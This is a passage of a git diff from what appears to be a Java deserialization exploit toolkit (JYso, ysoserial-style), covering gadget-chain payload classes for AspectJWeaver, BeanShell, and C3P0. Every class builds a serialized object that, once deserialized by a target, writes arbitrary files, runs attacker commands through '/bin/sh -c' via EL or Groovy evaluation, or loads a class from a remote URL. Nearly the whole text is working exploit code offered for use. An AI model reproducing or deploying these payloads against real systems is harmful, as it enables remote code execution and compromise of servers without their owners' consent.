a/src/main/java/com/qi4l/JYso/gadgets/AspectJWeaver.java +++ b/src/main/java/com/qi4l/JYso/gadgets/AspectJWeaver.java @@ -1,64 +1,64 @@ -package com.qi4l.JYso.gadgets; - -import com.qi4l.JYso.gadgets.annotation.Authors; -import com.qi4l.JYso.gadgets.annotation.Dependencies; -import com.qi4l.JYso.gadgets.utils.Reflections; -import org.apache.commons.codec.binary.Base64; -import org.apache.commons.collections.Transformer; -import org.apache.commons.collections.functors.ConstantTransformer; -import org.apache.commons.collections.keyvalue.TiedMapEntry; -import org.apache.commons.collections.map.LazyMap; - -import java.io.Serializable; -import java.lang.reflect.Constructor; -import java.util.Map; - -import static com.qi4l.JYso.gadgets.AspectJWeaver2.getSerializableCC6; - - -/** - * Gadget chain: - * HashSet.readObject() - * HashMap.put() - * HashMap.hash() - * TiedMapEntry.hashCode() - * TiedMapEntry.getValue() - * LazyMap.get() - * SimpleCache$StorableCachingMap.put() - * SimpleCache$StorableCachingMap.writeToPath() - * FileOutputStream.write() - *

- * Usage: - * args = ";" - * Example: - * java -jar ysoserial.jar aspectjweaver "ahi.txt;YWhpaGloaQ==" - *

- * More information: - * ... - */ - -@SuppressWarnings("unused") -@Dependencies({"org.aspectj:aspectjweaver:1.9.2", "commons-collections:commons-collections:3.2.2"}) -@Authors({Authors.JANG}) -public class AspectJWeaver implements ObjectPayload { - - public Serializable getObject(String command) throws Exception { - - int sep = command.lastIndexOf(':'); - if (sep < 0) { - throw new IllegalArgumentException("Command format is: :"); - } - String[] parts = command.split(":"); - String filename = parts[0]; - byte[] content = Base64.decodeBase64(parts[1]); - Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap"); - - Object simpleCache = ctor.newInstance(".", 12); - Transformer ct = new ConstantTransformer(content); - - Map lazyMap = LazyMap.decorate((Map) simpleCache, ct); - TiedMapEntry entry = new TiedMapEntry(lazyMap, filename); - - return getSerializableCC6(entry); - } -} +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Reflections; +import org.apache.commons.codec.binary.Base64; +import org.apache.commons.collections.Transformer; +import org.apache.commons.collections.functors.ConstantTransformer; +import org.apache.commons.collections.keyvalue.TiedMapEntry; +import org.apache.commons.collections.map.LazyMap; + +import java.io.Serializable; +import java.lang.reflect.Constructor; +import java.util.Map; + +import static com.qi4l.JYso.gadgets.AspectJWeaver2.getSerializableCC6; + + +/** + * Gadget chain: + * HashSet.readObject() + * HashMap.put() + * HashMap.hash() + * TiedMapEntry.hashCode() + * TiedMapEntry.getValue() + * LazyMap.get() + * SimpleCache$StorableCachingMap.put() + * SimpleCache$StorableCachingMap.writeToPath() + * FileOutputStream.write() + *

+ * Usage: + * args = ";" + * Example: + * java -jar ysoserial.jar aspectjweaver "ahi.txt;YWhpaGloaQ==" + *

+ * More information: + * ... + */ + +@SuppressWarnings("unused") +@Dependencies({"org.aspectj:aspectjweaver:1.9.2", "commons-collections:commons-collections:3.2.2"}) +@Authors({Authors.JANG}) +public class AspectJWeaver implements ObjectPayload { + + public Serializable getObject(String command) throws Exception { + + int sep = command.lastIndexOf(':'); + if (sep < 0) { + throw new IllegalArgumentException("Command format is: :"); + } + String[] parts = command.split(":"); + String filename = parts[0]; + byte[] content = Base64.decodeBase64(parts[1]); + Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap"); + + Object simpleCache = ctor.newInstance(".", 12); + Transformer ct = new ConstantTransformer(content); + + Map lazyMap = LazyMap.decorate((Map) simpleCache, ct); + TiedMapEntry entry = new TiedMapEntry(lazyMap, filename); + + return getSerializableCC6(entry); + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/AspectJWeaver2.java b/src/main/java/com/qi4l/JYso/gadgets/AspectJWeaver2.java index d244ee3..f0b11d3 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/AspectJWeaver2.java +++ b/src/main/java/com/qi4l/JYso/gadgets/AspectJWeaver2.java @@ -1,95 +1,95 @@ -package com.qi4l.JYso.gadgets; - -import com.qi4l.JYso.gadgets.annotation.Authors; -import com.qi4l.JYso.gadgets.annotation.Dependencies; -import com.qi4l.JYso.gadgets.utils.Reflections; -import org.apache.commons.codec.binary.Base64; -import org.apache.commons.collections.Factory; -import org.apache.commons.collections.Transformer; -import org.apache.commons.collections.functors.ConstantFactory; -import org.apache.commons.collections.functors.FactoryTransformer; -import org.apache.commons.collections.keyvalue.TiedMapEntry; -import org.apache.commons.collections.map.LazyMap; - -import java.io.Serializable; -import java.lang.reflect.Constructor; -import java.lang.reflect.Field; -import java.util.HashMap; -import java.util.HashSet; -import java.util.Map; - -/** - * 使用 ConstantFactory + FactoryTransformer 替换 ConstantTransformer,避免,类似本项目中的 CC10 - */ - -@SuppressWarnings({"unused"}) -@Dependencies({"org.aspectj:aspectjweaver:1.9.2", "commons-collections:commons-collections:3.2.2"}) -@Authors({Authors.QI4L}) -public class AspectJWeaver2 implements ObjectPayload { - - @Override - public Serializable getObject(String command) throws Exception { - - int sep = command.lastIndexOf(';'); - if (sep < 0) { - throw new IllegalArgumentException("Command format is: ;"); - } - String[] parts = command.split(";"); - String filename = parts[0]; - byte[] content = Base64.decodeBase64(parts[1]); - Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap"); - Object simpleCache = ctor.newInstance(".", 12); - - Factory ft = new ConstantFactory(content); - Transformer ct = new FactoryTransformer(ft); - - Map lazyMap = LazyMap.decorate((Map) simpleCache, ct); - TiedMapEntry entry = new TiedMapEntry(lazyMap, filename); - - return getSerializableCC6(entry); - - } - - static Serializable getSerializableCC6(TiedMapEntry entry) throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException { - HashSet map = new HashSet<>(1); - map.add("QI4L"); - Field f; - try { - f = HashSet.class.getDeclaredField("map"); - } catch (NoSuchFieldException e) { - //noinspection JavaReflectionMemberAccess - f = HashSet.class.getDeclaredField("backingMap"); - } - - Reflections.setAccessible(f); - HashMap innimpl = (HashMap) f.get(map); - - Field f2; - try { - f2 = HashMap.class.getDeclaredField("table"); - } catch (NoSuchFieldException e) { - //noinspection JavaReflectionMemberAccess - f2 = HashMap.class.getDeclaredField("elementData"); - } - - Reflections.setAccessible(f2); - Object[] array = (Object[]) f2.get(innimpl); - - Object node = array[0]; - if (node == null) { - node = array[1]; - } - - Field keyField; - try { - keyField = node.getClass().getDeclaredField("key"); - } catch (Exception e) { - keyField = Class.forName("java.util.MapEntry").getDeclaredField("key"); - } - - Reflections.setAccessible(keyField); - keyField.set(node, entry); - - return map; - } -} +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Reflections; +import org.apache.commons.codec.binary.Base64; +import org.apache.commons.collections.Factory; +import org.apache.commons.collections.Transformer; +import org.apache.commons.collections.functors.ConstantFactory; +import org.apache.commons.collections.functors.FactoryTransformer; +import org.apache.commons.collections.keyvalue.TiedMapEntry; +import org.apache.commons.collections.map.LazyMap; + +import java.io.Serializable; +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.util.HashMap; +import java.util.HashSet; +import java.util.Map; + +/** + * 使用 ConstantFactory + FactoryTransformer 替换 ConstantTransformer,避免,类似本项目中的 CC10 + */ + +@SuppressWarnings({"unused"}) +@Dependencies({"org.aspectj:aspectjweaver:1.9.2", "commons-collections:commons-collections:3.2.2"}) +@Authors({Authors.QI4L}) +public class AspectJWeaver2 implements ObjectPayload { + + @Override + public Serializable getObject(String command) throws Exception { + + int sep = command.lastIndexOf(';'); + if (sep < 0) { + throw new IllegalArgumentException("Command format is: ;"); + } + String[] parts = command.split(";"); + String filename = parts[0]; + byte[] content = Base64.decodeBase64(parts[1]); + Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap"); + Object simpleCache = ctor.newInstance(".", 12); + + Factory ft = new ConstantFactory(content); + Transformer ct = new FactoryTransformer(ft); + + Map lazyMap = LazyMap.decorate((Map) simpleCache, ct); + TiedMapEntry entry = new TiedMapEntry(lazyMap, filename); + + return getSerializableCC6(entry); + + } + + static Serializable getSerializableCC6(TiedMapEntry entry) throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException { + HashSet map = new HashSet<>(1); + map.add("QI4L"); + Field f; + try { + f = HashSet.class.getDeclaredField("map"); + } catch (NoSuchFieldException e) { + //noinspection JavaReflectionMemberAccess + f = HashSet.class.getDeclaredField("backingMap"); + } + + Reflections.setAccessible(f); + HashMap innimpl = (HashMap) f.get(map); + + Field f2; + try { + f2 = HashMap.class.getDeclaredField("table"); + } catch (NoSuchFieldException e) { + //noinspection JavaReflectionMemberAccess + f2 = HashMap.class.getDeclaredField("elementData"); + } + + Reflections.setAccessible(f2); + Object[] array = (Object[]) f2.get(innimpl); + + Object node = array[0]; + if (node == null) { + node = array[1]; + } + + Field keyField; + try { + keyField = node.getClass().getDeclaredField("key"); + } catch (Exception e) { + keyField = Class.forName("java.util.MapEntry").getDeclaredField("key"); + } + + Reflections.setAccessible(keyField); + keyField.set(node, entry); + + return map; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/BeanShell1.java b/src/main/java/com/qi4l/JYso/gadgets/BeanShell1.java index 24bf54f..05f9a8f 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/BeanShell1.java +++ b/src/main/java/com/qi4l/JYso/gadgets/BeanShell1.java @@ -1,39 +1,39 @@ -package com.qi4l.JYso.gadgets; - -import bsh.Interpreter; -import bsh.XThis; -import com.qi4l.JYso.gadgets.annotation.Authors; -import com.qi4l.JYso.gadgets.annotation.Dependencies; -import com.qi4l.JYso.gadgets.utils.Reflections; -import com.qi4l.JYso.gadgets.utils.beanshell.BeanShellUtil; - -import java.lang.reflect.InvocationHandler; -import java.lang.reflect.Proxy; -import java.util.Comparator; -import java.util.PriorityQueue; - -/** - * Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711) - */ - -@SuppressWarnings({"rawtypes", "unchecked","unused"}) -@Dependencies({"org.beanshell:bsh:2.0b5"}) -@Authors({Authors.PWNTESTER, Authors.CSCHNEIDER4711}) -public class BeanShell1 implements ObjectPayload { - - public PriorityQueue getObject(String command) throws Exception { - String payload = BeanShellUtil.makeBeanShellPayload(command); - Interpreter i = new Interpreter(); - i.eval(payload); - - XThis xt = new XThis(i.getNameSpace(), i); - InvocationHandler handler = (InvocationHandler) Reflections.getField(xt.getClass(), "invocationHandler").get(xt); - Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class[]{Comparator.class}, handler); - PriorityQueue priorityQueue = new PriorityQueue(2, comparator); - Object[] queue = {1, 1}; - - Reflections.setFieldValue(priorityQueue, "queue", queue); - Reflections.setFieldValue(priorityQueue, "size", 2); - return priorityQueue; - } -} +package com.qi4l.JYso.gadgets; + +import bsh.Interpreter; +import bsh.XThis; +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Reflections; +import com.qi4l.JYso.gadgets.utils.beanshell.BeanShellUtil; + +import java.lang.reflect.InvocationHandler; +import java.lang.reflect.Proxy; +import java.util.Comparator; +import java.util.PriorityQueue; + +/** + * Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711) + */ + +@SuppressWarnings({"rawtypes", "unchecked","unused"}) +@Dependencies({"org.beanshell:bsh:2.0b5"}) +@Authors({Authors.PWNTESTER, Authors.CSCHNEIDER4711}) +public class BeanShell1 implements ObjectPayload { + + public PriorityQueue getObject(String command) throws Exception { + String payload = BeanShellUtil.makeBeanShellPayload(command); + Interpreter i = new Interpreter(); + i.eval(payload); + + XThis xt = new XThis(i.getNameSpace(), i); + InvocationHandler handler = (InvocationHandler) Reflections.getField(xt.getClass(), "invocationHandler").get(xt); + Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class[]{Comparator.class}, handler); + PriorityQueue priorityQueue = new PriorityQueue(2, comparator); + Object[] queue = {1, 1}; + + Reflections.setFieldValue(priorityQueue, "queue", queue); + Reflections.setFieldValue(priorityQueue, "size", 2); + return priorityQueue; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/BeanShell2.java b/src/main/java/com/qi4l/JYso/gadgets/BeanShell2.java index a3bc795..1ffebc7 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/BeanShell2.java +++ b/src/main/java/com/qi4l/JYso/gadgets/BeanShell2.java @@ -1,50 +1,50 @@ -package com.qi4l.JYso.gadgets; - -import bsh.Interpreter; -import bsh.NameSpace; -import com.qi4l.JYso.gadgets.annotation.Authors; -import com.qi4l.JYso.gadgets.annotation.Dependencies; -import com.qi4l.JYso.gadgets.utils.beanshell.BeanShellUtil; - -import java.lang.reflect.*; -import java.util.Comparator; -import java.util.PriorityQueue; - -/** - * Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711) - */ - -@SuppressWarnings({"rawtypes", "unchecked","unused"}) -@Dependencies({"org.beanshell:bsh:2.0b1"}) -@Authors({Authors.KILLER}) -public class BeanShell2 implements ObjectPayload { - - public PriorityQueue getObject(String command) throws Exception { - String payload = BeanShellUtil.makeBeanShellPayload(command); - Interpreter i = new Interpreter(); - - Method setu = i.getClass().getDeclaredMethod("setu", String.class, Object.class); - setu.setAccessible(true); - setu.invoke(i, "bsh.cwd", "."); - i.eval(payload); - - Class xThis = Class.forName("bsh.XThis"); - Field handlerField = xThis.getDeclaredField("invocationHandler"); - handlerField.setAccessible(true); - Constructor xthisDeclaredConstructor = xThis.getDeclaredConstructor(NameSpace.class, Interpreter.class); - xthisDeclaredConstructor.setAccessible(true); - Object xt = xthisDeclaredConstructor.newInstance(i.getNameSpace(), i); - handlerField.setAccessible(true); - InvocationHandler handler = (InvocationHandler) handlerField.get(xt); - - Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class[]{Comparator.class}, handler); - PriorityQueue queue = new PriorityQueue(2); - queue.add("1"); - queue.add("2"); - - Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator"); - field.setAccessible(true); - field.set(queue, comparator); - return queue; - } +package com.qi4l.JYso.gadgets; + +import bsh.Interpreter; +import bsh.NameSpace; +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.beanshell.BeanShellUtil; + +import java.lang.reflect.*; +import java.util.Comparator; +import java.util.PriorityQueue; + +/** + * Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711) + */ + +@SuppressWarnings({"rawtypes", "unchecked","unused"}) +@Dependencies({"org.beanshell:bsh:2.0b1"}) +@Authors({Authors.KILLER}) +public class BeanShell2 implements ObjectPayload { + + public PriorityQueue getObject(String command) throws Exception { + String payload = BeanShellUtil.makeBeanShellPayload(command); + Interpreter i = new Interpreter(); + + Method setu = i.getClass().getDeclaredMethod("setu", String.class, Object.class); + setu.setAccessible(true); + setu.invoke(i, "bsh.cwd", "."); + i.eval(payload); + + Class xThis = Class.forName("bsh.XThis"); + Field handlerField = xThis.getDeclaredField("invocationHandler"); + handlerField.setAccessible(true); + Constructor xthisDeclaredConstructor = xThis.getDeclaredConstructor(NameSpace.class, Interpreter.class); + xthisDeclaredConstructor.setAccessible(true); + Object xt = xthisDeclaredConstructor.newInstance(i.getNameSpace(), i); + handlerField.setAccessible(true); + InvocationHandler handler = (InvocationHandler) handlerField.get(xt); + + Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class[]{Comparator.class}, handler); + PriorityQueue queue = new PriorityQueue(2); + queue.add("1"); + queue.add("2"); + + Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator"); + field.setAccessible(true); + field.set(queue, comparator); + return queue; + } } \ No newline at end of file diff --git a/src/main/java/com/qi4l/JYso/gadgets/C3P0.java b/src/main/java/com/qi4l/JYso/gadgets/C3P0.java index f51aea6..2858ee8 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/C3P0.java +++ b/src/main/java/com/qi4l/JYso/gadgets/C3P0.java @@ -1,92 +1,92 @@ -package com.qi4l.JYso.gadgets; - -import com.mchange.v2.c3p0.PoolBackedDataSource; -import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase; -import com.qi4l.JYso.gadgets.annotation.Authors; -import com.qi4l.JYso.gadgets.annotation.Dependencies; -import com.qi4l.JYso.gadgets.utils.Reflections; - -import javax.naming.Reference; -import javax.naming.Referenceable; -import javax.sql.ConnectionPoolDataSource; -import javax.sql.PooledConnection; -import java.io.PrintWriter; -import java.util.logging.Logger; - -/** - * com.sun.jndi.rmi.registry.RegistryContext->lookup - * com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized->getObject - * com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase->readObject - *

- * Arguments: - * - base_url:classname - *

- * Yields: - * - Instantiation of remotely loaded class - * - * @author mbechler - */ - -@SuppressWarnings({"unused"}) -@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.mchange:mchange-commons-java:0.2.11"}) -@Authors({Authors.MBECHLER}) -public class C3P0 implements ObjectPayload { - public Object getObject(String command) throws Exception { - - int sep = command.lastIndexOf(':'); - if (sep < 0) { - throw new IllegalArgumentException("Command format is: :"); - } - - String url = command.substring(0, sep); - String className = command.substring(sep + 1); - - PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class); - Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(className, url)); - return b; - } - - - private static final class PoolSource implements ConnectionPoolDataSource, Referenceable { - - private final String className; - - private final String url; - - public PoolSource(String className, String url) { - this.className = className; - this.url = url; - } - - public Reference getReference() { - return new Reference("exploit", this.className, this.url); - } - - public PrintWriter getLogWriter() { - return null; - } - - public void setLogWriter(PrintWriter out) { - } - - public int getLoginTimeout() { - return 0; - } - - public void setLoginTimeout(int seconds) { - } - - public Logger getParentLogger() { - return null; - } - - public PooledConnection getPooledConnection() { - return null; - } - - public PooledConnection getPooledConnection(String user, String password) { - return null; - } - - } -} +package com.qi4l.JYso.gadgets; + +import com.mchange.v2.c3p0.PoolBackedDataSource; +import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase; +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Reflections; + +import javax.naming.Reference; +import javax.naming.Referenceable; +import javax.sql.ConnectionPoolDataSource; +import javax.sql.PooledConnection; +import java.io.PrintWriter; +import java.util.logging.Logger; + +/** + * com.sun.jndi.rmi.registry.RegistryContext->lookup + * com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized->getObject + * com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase->readObject + *

+ * Arguments: + * - base_url:classname + *

+ * Yields: + * - Instantiation of remotely loaded class + * + * @author mbechler + */ + +@SuppressWarnings({"unused"}) +@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.mchange:mchange-commons-java:0.2.11"}) +@Authors({Authors.MBECHLER}) +public class C3P0 implements ObjectPayload { + public Object getObject(String command) throws Exception { + + int sep = command.lastIndexOf(':'); + if (sep < 0) { + throw new IllegalArgumentException("Command format is: :"); + } + + String url = command.substring(0, sep); + String className = command.substring(sep + 1); + + PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class); + Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(className, url)); + return b; + } + + + private static final class PoolSource implements ConnectionPoolDataSource, Referenceable { + + private final String className; + + private final String url; + + public PoolSource(String className, String url) { + this.className = className; + this.url = url; + } + + public Reference getReference() { + return new Reference("exploit", this.className, this.url); + } + + public PrintWriter getLogWriter() { + return null; + } + + public void setLogWriter(PrintWriter out) { + } + + public int getLoginTimeout() { + return 0; + } + + public void setLoginTimeout(int seconds) { + } + + public Logger getParentLogger() { + return null; + } + + public PooledConnection getPooledConnection() { + return null; + } + + public PooledConnection getPooledConnection(String user, String password) { + return null; + } + + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/C3P02.java b/src/main/java/com/qi4l/JYso/gadgets/C3P02.java index 0b838c8..8cf65bd 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/C3P02.java +++ b/src/main/java/com/qi4l/JYso/gadgets/C3P02.java @@ -1,84 +1,84 @@ -package com.qi4l.JYso.gadgets; - -import com.mchange.v2.c3p0.PoolBackedDataSource; -import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase; -import com.qi4l.JYso.gadgets.annotation.Authors; -import com.qi4l.JYso.gadgets.annotation.Dependencies; -import com.qi4l.JYso.gadgets.utils.Reflections; -import org.apache.naming.ResourceRef; - -import javax.naming.Reference; -import javax.naming.Referenceable; -import javax.naming.StringRefAddr; -import javax.sql.ConnectionPoolDataSource; -import javax.sql.PooledConnection; -import java.io.PrintWriter; -import java.util.logging.Logger; - -import static com.qi4l.JYso.gadgets.utils.Utils.getJSEngineValue; -import static com.qi4l.JYso.gadgets.utils.handle.GlassHandler.generateClass; - -/** - * C3P02 通过Tomcat 的 getObjectInstance 方法调用 ELProcessor 的 eval 方法实现表达式注入 - */ - -@SuppressWarnings({"unused"}) -@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.mchange:mchange-commons-java:0.2.11", "org.apache:tomcat:8.5.35"}) -@Authors({Authors.QI4L}) -public class C3P02 implements ObjectPayload { - - public Object getObject(String command) throws Exception { - if (command.startsWith("LF-")) { - command = getJSEngineValue(generateClass(command).toBytecode()).replace("\"", "\\\""); - } else { - command = "new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','" + command + "']).start()"; - } - - PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class); - Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(command)); - return b; - } - - - private static final class PoolSource implements ConnectionPoolDataSource, Referenceable { - - private final String cmd; - - public PoolSource(String cmd) { - this.cmd = cmd; - } - - public Reference getReference() { - ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null); - ref.add(new StringRefAddr("forceString", "QI4L=eval")); - ref.add(new StringRefAddr("QI4L", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','" + cmd + "']).start()\")")); - return ref; - } - - public PrintWriter getLogWriter() { - return null; - } - - public void setLogWriter(PrintWriter out) { - } - - public int getLoginTimeout() { - return 0; - } - - public void setLoginTimeout(int seconds) { - } - - public Logger getParentLogger() { - return null; - } - - public PooledConnection getPooledConnection() { - return null; - } - - public PooledConnection getPooledConnection(String user, String password) { - return null; - } - } -} +package com.qi4l.JYso.gadgets; + +import com.mchange.v2.c3p0.PoolBackedDataSource; +import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase; +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Reflections; +import org.apache.naming.ResourceRef; + +import javax.naming.Reference; +import javax.naming.Referenceable; +import javax.naming.StringRefAddr; +import javax.sql.ConnectionPoolDataSource; +import javax.sql.PooledConnection; +import java.io.PrintWriter; +import java.util.logging.Logger; + +import static com.qi4l.JYso.gadgets.utils.Utils.getJSEngineValue; +import static com.qi4l.JYso.gadgets.utils.handle.GlassHandler.generateClass; + +/** + * C3P02 通过Tomcat 的 getObjectInstance 方法调用 ELProcessor 的 eval 方法实现表达式注入 + */ + +@SuppressWarnings({"unused"}) +@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.mchange:mchange-commons-java:0.2.11", "org.apache:tomcat:8.5.35"}) +@Authors({Authors.QI4L}) +public class C3P02 implements ObjectPayload { + + public Object getObject(String command) throws Exception { + if (command.startsWith("LF-")) { + command = getJSEngineValue(generateClass(command).toBytecode()).replace("\"", "\\\""); + } else { + command = "new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','" + command + "']).start()"; + } + + PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class); + Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(command)); + return b; + } + + + private static final class PoolSource implements ConnectionPoolDataSource, Referenceable { + + private final String cmd; + + public PoolSource(String cmd) { + this.cmd = cmd; + } + + public Reference getReference() { + ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null); + ref.add(new StringRefAddr("forceString", "QI4L=eval")); + ref.add(new StringRefAddr("QI4L", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','" + cmd + "']).start()\")")); + return ref; + } + + public PrintWriter getLogWriter() { + return null; + } + + public void setLogWriter(PrintWriter out) { + } + + public int getLoginTimeout() { + return 0; + } + + public void setLoginTimeout(int seconds) { + } + + public Logger getParentLogger() { + return null; + } + + public PooledConnection getPooledConnection() { + return null; + } + + public PooledConnection getPooledConnection(String user, String password) { + return null; + } + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/C3P03.java b/src/main/java/com/qi4l/JYso/gadgets/C3P03.java index e54b341..429c469 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/C3P03.java +++ b/src/main/java/com/qi4l/JYso/gadgets/C3P03.java @@ -1,77 +1,77 @@ -package com.qi4l.JYso.gadgets; - -import com.mchange.v2.c3p0.PoolBackedDataSource; -import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase; -import com.qi4l.JYso.gadgets.annotation.Authors; -import com.qi4l.JYso.gadgets.annotation.Dependencies; -import com.qi4l.JYso.gadgets.utils.Reflections; -import org.apache.naming.ResourceRef; - -import javax.naming.Reference; -import javax.naming.Referenceable; -import javax.naming.StringRefAddr; -import javax.sql.ConnectionPoolDataSource; -import javax.sql.PooledConnection; -import java.io.PrintWriter; -import java.util.logging.Logger; - -/** - * 同 C3P0 2 只不过使用了 Groovy - */ - -@SuppressWarnings({"unused"}) -@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.mchange:mchange-commons-java:0.2.11", "org.apache:tomcat:8.5.35", "org.codehaus.groovy:groovy:2.3.9"}) -@Authors({Authors.QI4L}) -public class C3P03 implements ObjectPayload { - - public Object getObject(String command) throws Exception { - - PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class); - Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(command)); - return b; - } - - - private static final class PoolSource implements ConnectionPoolDataSource, Referenceable { - - private final String cmd; - - public PoolSource(String cmd) { - this.cmd = cmd; - } - - public Reference getReference() { - ResourceRef ref = new ResourceRef("groovy.lang.GroovyShell", null, "", "", true, "org.apache.naming.factory.BeanFactory", null); - ref.add(new StringRefAddr("forceString", "QI4L=evaluate")); - ref.add(new StringRefAddr("QI4L", "'" + cmd + "'.execute()")); - return ref; - } - - public PrintWriter getLogWriter() { - return null; - } - - public void setLogWriter(PrintWriter out) { - } - - public int getLoginTimeout() { - return 0; - } - - public void setLoginTimeout(int seconds) { - } - - public Logger getParentLogger() { - return null; - } - - public PooledConnection getPooledConnection() { - return null; - } - - public PooledConnection getPooledConnection(String user, String password) { - return null; - } - } - -} +package com.qi4l.JYso.gadgets; + +import com.mchange.v2.c3p0.PoolBackedDataSource; +import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase; +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Reflections; +import org.apache.naming.ResourceRef; + +import javax.naming.Reference; +import javax.naming.Referenceable; +import javax.naming.StringRefAddr; +import javax.sql.ConnectionPoolDataSource; +import javax.sql.PooledConnection; +import java.io.PrintWriter; +import java.util.logging.Logger; + +/** + * 同 C3P0 2 只不过使用了 Groovy + */ + +@SuppressWarnings({"unused"}) +@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.mchange:mchange-commons-java:0.2.11", "org.apache:tomcat:8.5.35", "org.codehaus.groovy:groovy:2.3.9"}) +@Authors({Authors.QI4L}) +public class C3P03 implements ObjectPayload { + + public Object getObject(String command) throws Exception { + + PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class); + Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(command)); + return b; + } + + + private static final class PoolSource implements ConnectionPoolDataSource, Referenceable { + + private final String cmd; + + public PoolSource(String cmd) { + this.cmd = cmd; + } + + public Reference getReference() { + ResourceRef ref = new ResourceRef("groovy.lang.GroovyShell", null, "", "", true, "org.apache.naming.factory.BeanFactory", null); + ref.add(new StringRefAddr("forceString", "QI4L=evaluate")); + ref.add(new StringRefAddr("QI4L", "'" + cmd + "'.execute()")); + return ref; + } + + public PrintWriter getLogWriter() { + return null; + } + + public void setLogWriter(PrintWriter out) { + } + + public int getLoginTimeout() { + return 0; + } + + public void setLoginTimeout(int seconds) { + } + + public Logger getParentLogger() { + return null; + } + + public PooledConnection getPooledConnection() { + return null; + } + + public PooledConnection getPooledConnection(String user, String password) { + return null; + } + } + +} diff --git 